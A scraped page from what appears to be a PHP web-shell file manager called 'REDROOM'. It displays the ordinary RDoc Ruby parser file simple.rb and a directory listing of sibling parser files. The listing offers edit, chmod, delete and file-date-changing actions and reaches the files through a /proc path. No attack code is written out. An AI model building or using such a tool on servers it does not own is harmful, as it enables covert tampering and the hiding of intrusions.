REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 956 B
Close
//proc/thread-self/root/opt/alt/ruby40/share/gems/gems/rdoc-7.0.4/lib/rdoc/parser/simple.rb
Text
Base64
# frozen_string_literal: true ## # Parse a non-source file. We basically take the whole thing as one big # comment. class RDoc::Parser::Simple < RDoc::Parser include RDoc::Parser::Text parse_files_matching(//) attr_reader :content # :nodoc: ## # Prepare to parse a plain file def initialize(top_level, content, options, stats) super preprocess = RDoc::Markup::PreProcess.new @file_name, @options.rdoc_include content = RDoc::Text.expand_tabs(@content) @content, = preprocess.run_pre_processes(content, @top_level, 1, :simple) end ## # Extract the file contents and attach them to the TopLevel as a comment def scan content = remove_coding_comment @content comment = RDoc::Comment.new content, @top_level @top_level.comment = comment @top_level end ## # Removes the encoding magic comment from +text+ def remove_coding_comment(text) text.sub(/\A# .*coding[=:].*$/, '') end end
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 10
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
c.rb
35.46 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
changelog.rb
8.71 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
markdown.rb
472 B
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
prism_ruby.rb
38.20 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rd.rb
437 B
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ripper_state_lex.rb
8.00 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ruby.rb
59.88 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ruby_tools.rb
2.58 KB
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
simple.rb
956 B
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
text.rb
306 B
lrw-r--r--
2026-05-21 12:15:23
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).